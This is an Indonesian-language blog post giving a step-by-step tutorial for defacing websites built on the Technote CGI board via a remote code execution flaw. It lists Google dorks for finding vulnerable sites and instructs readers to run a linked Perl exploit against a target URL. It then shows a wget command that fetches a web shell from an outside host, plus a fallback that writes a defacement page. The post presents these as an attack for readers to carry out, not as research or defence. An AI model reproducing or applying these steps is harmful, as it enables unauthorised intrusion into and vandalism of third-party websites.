<style>/*<link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4645632544988684701&zx=389dad53-ad45-47a7-9acd-963a6bf69f6e' media='none' onload='if(media!='all')media='all'' rel='stylesheet'/><noscript><link href='https://www.blogger.com/dyn-css/authorization.css?targetBlogID=4645632544988684701&zx=389dad53-ad45-47a7-9acd-963a6bf69f6e' rel='stylesheet'/></noscript>
<meta name='google-adsense-platform-account' content='ca-host-pub-1556223355139109'/>
<meta name='google-adsense-platform-domain' content='blogspot.com'/>

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3823271028074031&host=ca-host-pub-1556223355139109" crossorigin="anonymous"></script>

<!-- data-ad-client=ca-pub-3823271028074031 -->

</head><body>*/</style>

Deface poc RCE(Remote Execution Code) Technote

apiip

16 Jan, 2022

deface RCE (REMOTE CODE EXECUTION)

mazapip.blogspot.com - Tutorial deface technote RCE(Remote Code Execution)0.4, Halo Gaes Balik Lagi Sama Gua maz apip. pada hari yang cerah ini gua akan share atau berbagi tentang cara deface RCE (REMOTE CODE EXECUTION) yang ada di bugnya technote itu sendiri hehe, disini tools yg di pake menggunakan bahasa perl untuk exploitnya. dan google untuk ngedorkingnya langsung saja tutorialnya

ignore this keyword

Deface poc RCE(Remote Execution Code) Technote

Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4

Bahan - Bahan:

Smartphone atau Pc bisa juga desktop
termux atau cmd untuk menjalankan exploitnya
dork
Exploit RCE DISINI

ignore this keyword

Deface poc RCE(Remote Execution Code) Technote

Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4

DORK:

Bisa pake Bing dorker buatan mimin atau ngedork manual pake dork bibawah ini
inurl:/cgi-bin/technote/
inurl:".cgi?board=FREE_BOARD"
intext:"TECHNOTE-TOP"

syudah siap semua? nah hal pertama yang kalian harus lakukan yaitu ngedork di google. jika sudah akan seperti ini

deface RCE (REMOTE CODE EXECUTION)

www.site.com/main.cgi?board=FREE_BOARD

copy paste dulu exploit rce yang ada di atas ke notepad atau text editor lainya. lalu save menjadi exploit.pl

untuk user termux bisa ketik nano expoit.pl lalu paste,setelah itu CTRL+X lalu Y lalu enter

untuk user windows download perl manual,untuk user termux bisa pake command ini

$pkg install perl

sudah? sekarang buka cmd/termux kalian masing masing.
setelah terminal/cmd terbuka kalian ketikan perintah di bawah ini .

$ perl exploit.pl http://www.sitetarget.com/blabla/main.cgi?board=FREE_BOARD

kalau vuln maka akan terlihat seperti gambar dibawah ini.

deface RCE (REMOTE CODE EXECUTION)

lalu bagaimana cara upload Shell nya?

kalian bisa pakai command

wget -O linkshell.com/shell.txt Shell.php

jika tidak dapat upload Shell,kalian bisa memakai commad ini

php "Heked Bay" > p.php

ignore this keyword

Deface poc RCE(Remote Execution Code) Technote

Deface RCE (Remote Code Execution) Technote CGI Exploit 0.4

<style>/*
<script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/1807328581-widgets.js"></script>
<script type='text/javascript'>
window['__wavt'] = 'AOuZoY7GKc2OeExaNZDuEbC-ffSzvx-XkA:1714135227749';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d4645632544988684701','//mazapip.blogspot.com/2022/01/deface-poc-rceremote-execution-code.html','4645632544988684701');
_WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '4645632544988684701', 'title': 'membahas hal-hal yang menarik dan hanya sekedar info. ', 'url': 'https://mazapip.blogspot.com/2022/01/deface-poc-rceremote-execution-code.html', 'canonicalUrl': 'https://mazapip.blogspot.com/2022/01/deface-poc-rceremote-execution-code.html', 'homepageUrl': 'https://mazapip.blogspot.com/', 'searchUrl': 'https://mazapip.blogspot.com/search', 'canonicalHomepageUrl': 'https://mazapip.blogspot.com/', 'blogspotFaviconUrl': 'https://mazapip.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': 'UA-216045933-1', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - Atom\x22 href\x3d\x22https://mazapip.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - RSS\x22 href\x3d\x22https://mazapip.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/4645632544988684701/posts/default\x22 /\x3e\n\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22membahas hal-hal yang menarik dan hanya sekedar info.  - Atom\x22 href\x3d\x22https://mazapip.blogspot.com/feeds/213795536681906595/comments/default\x22 /\x3e\n', 'meTag': '', 'adsenseClientId': 'ca-pub-3823271028074031', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': true, 'adsenseAutoAds': true, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/16e657cb9c57b8a2', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'Twitter', 'key': 'twitter', 'shareMessage': 'Share to Twitter', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'item', 'postId': '213795536681906595', 'postImageThumbnailUrl': 'https://blogger.googleusercontent.com/img/a/AVvXsEiCURUotlP2dqrUS0I3XMtbWg4rQWGhKcf2y6MXY-lImDxQ-Ig-FWeID9gOstXS-1gmZMI50QBoqSmkyvyYHtxzfqiQtZ62A2v3D0Ea2veP2-NNIeCqQ-rItcuI_NeIzkBBlOHnWue4p3CyXQ5Vvc4a1nGCyk75EiTQMJi3bUZrcAfc1O2OMS34V-LgkA\x3ds72-w180-c-h320', 'postImageUrl': 'https://blogger.googleusercontent.com/img/a/AVvXsEiCURUotlP2dqrUS0I3XMtbWg4rQWGhKcf2y6MXY-lImDxQ-Ig-FWeID9gOstXS-1gmZMI50QBoqSmkyvyYHtxzfqiQtZ62A2v3D0Ea2veP2-NNIeCqQ-rItcuI_NeIzkBBlOHnWue4p3CyXQ5Vvc4a1nGCyk75EiTQMJi3bUZrcAfc1O2OMS34V-LgkA\x3dw180-h320', 'pageName': 'Deface poc RCE(Remote Execution Code) Technote', 'pageTitle': 'membahas hal-hal yang menarik dan hanya sekedar info. : Deface poc RCE(Remote Execution Code) Technote', 'metaDescription': ''}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': true, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Deface poc RCE(Remote Execution Code) Technote', 'description': 'Tutorial Deface Dan Upload Shell\nMaz Apip', 'featuredImage': 'https://blogger.googleusercontent.com/img/a/AVvXsEiCURUotlP2dqrUS0I3XMtbWg4rQWGhKcf2y6MXY-lImDxQ-Ig-FWeID9gOstXS-1gmZMI50QBoqSmkyvyYHtxzfqiQtZ62A2v3D0Ea2veP2-NNIeCqQ-rItcuI_NeIzkBBlOHnWue4p3CyXQ5Vvc4a1nGCyk75EiTQMJi3bUZrcAfc1O2OMS34V-LgkA\x3dw180-h320', 'url': 'https://mazapip.blogspot.com/2022/01/deface-poc-rceremote-execution-code.html', 'type': 'item', 'isSingleItem': true, 'isMultipleItems': false, 'isError': false, 'isPage': false, 'isPost': true, 'isHomepage': false, 'isArchive': false, 'isLabelSearch': false, 'postId': 213795536681906595}}, {'name': 'widgets', 'data': [{'title': 'Menu', 'type': 'LinkList', 'sectionId': 'upload-image', 'id': 'LinkList155'}, {'title': 'membahas hal-hal yang menarik dan hanya sekedar info.  (Header)', 'type': 'Header', 'sectionId': 'upload-image', 'id': 'Header1'}, {'title': 'Main Tags', 'type': 'Label', 'sectionId': 'upload-image', 'id': 'Label2'}, {'title': '', 'type': 'LinkList', 'sectionId': 'upload-image', 'id': 'LinkList152'}, {'title': 'Link List', 'type': 'LinkList', 'sectionId': 'upload-image', 'id': 'LinkList153'}, {'title': 'Popular Posts', 'type': 'PopularPosts', 'sectionId': 'upload-image', 'id': 'PopularPosts1', 'posts': [{'title': 'cara deface poc ojs', 'id': 6149305758175368731}, {'title': 'cara deface poc Alfa perl rce', 'id': 665367589033489567}, {'title': 'Cara Deface WordPress Default', 'id': 5412312465927835321}]}, {'title': 'Contact Form', 'type': 'ContactForm', 'sectionId': 'upload-image', 'id': 'ContactForm1'}, {'title': '#Advertisement', 'type': 'HTML', 'sectionId': 'before-blog', 'id': 'HTML11'}, {'title': 'Blog Posts', 'type': 'Blog', 'sectionId': 'blog-post', 'id': 'Blog1', 'posts': [{'id': '213795536681906595', 'title': 'Deface poc RCE(Remote Execution Code) Technote', 'featuredImage': 'https://blogger.googleusercontent.com/img/a/AVvXsEiCURUotlP2dqrUS0I3XMtbWg4rQWGhKcf2y6MXY-lImDxQ-Ig-FWeID9gOstXS-1gmZMI50QBoqSmkyvyYHtxzfqiQtZ62A2v3D0Ea2veP2-NNIeCqQ-rItcuI_NeIzkBBlOHnWue4p3CyXQ5Vvc4a1nGCyk75EiTQMJi3bUZrcAfc1O2OMS34V-LgkA\x3dw180-h320', 'showInlineAds': false}], 'headerByline': {'regionName': 'header1', 'items': [{'name': 'share', 'label': ''}, {'name': 'author', 'label': 'by'}, {'name': 'timestamp', 'label': 'd MMM, yyyy'}]}, 'footerBylines': [{'regionName': 'footer2', 'items': [{'name': 'labels', 'label': ''}]}], 'allBylineItems': [{'name': 'share', 'label': ''}, {'name': 'author', 'label': 'by'}, {'name': 'timestamp', 'label': 'd MMM, yyyy'}, {'name': 'labels', 'label': ''}]}, {'title': '#Advertisement', 'type': 'HTML', 'sectionId': 'ads-post', 'id': 'HTML13'}, {'title': '#You may also like', 'type': 'HTML', 'sectionId': 'ads-post', 'id': 'HTML15'}, {'title': 'SVG Icons', 'type': 'HTML', 'sectionId': 'Blogspot-options', 'id': 'HTML24'}]}]);
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList155', 'upload-image', document.getElementById('LinkList155'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'upload-image', document.getElementById('Header1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LabelView', new _WidgetInfo('Label2', 'upload-image', document.getElementById('Label2'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList152', 'upload-image', document.getElementById('LinkList152'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList153', 'upload-image', document.getElementById('LinkList153'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_PopularPostsView', new _WidgetInfo('PopularPosts1', 'upload-image', document.getElementById('PopularPosts1'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_ContactFormView', new _WidgetInfo('ContactForm1', 'upload-image', document.getElementById('ContactForm1'), {'contactFormMessageSendingMsg': 'Sending...', 'contactFormMessageSentMsg': 'Your message has been sent.', 'contactFormMessageNotSentMsg': 'Message could not be sent. Please try again later.', 'contactFormInvalidEmailMsg': 'A valid email address is required.', 'contactFormEmptyMessageMsg': 'Message field cannot be empty.', 'title': 'Contact Form', 'blogId': '4645632544988684701', 'contactFormNameMsg': 'Name', 'contactFormEmailMsg': 'Email', 'contactFormMessageMsg': 'Message', 'contactFormSendMsg': 'Send', 'contactFormToken': 'AOuZoY79Gw7HRMuKbbz_KjcwWPEMwMypmg:1714135227749', 'submitUrl': 'https://www.blogger.com/contact-form.do'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML11', 'before-blog', document.getElementById('HTML11'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'blog-post', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/1666805145-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/13464135-lightbox_bundle.css'}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML13', 'ads-post', document.getElementById('HTML13'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML15', 'ads-post', document.getElementById('HTML15'), {}, 'displayModeFull'));
_WidgetManager._RegisterWidget('_HTMLView', new _WidgetInfo('HTML24', 'Blogspot-options', document.getElementById('HTML24'), {}, 'displayModeFull'));
</script>
</body>*/</style>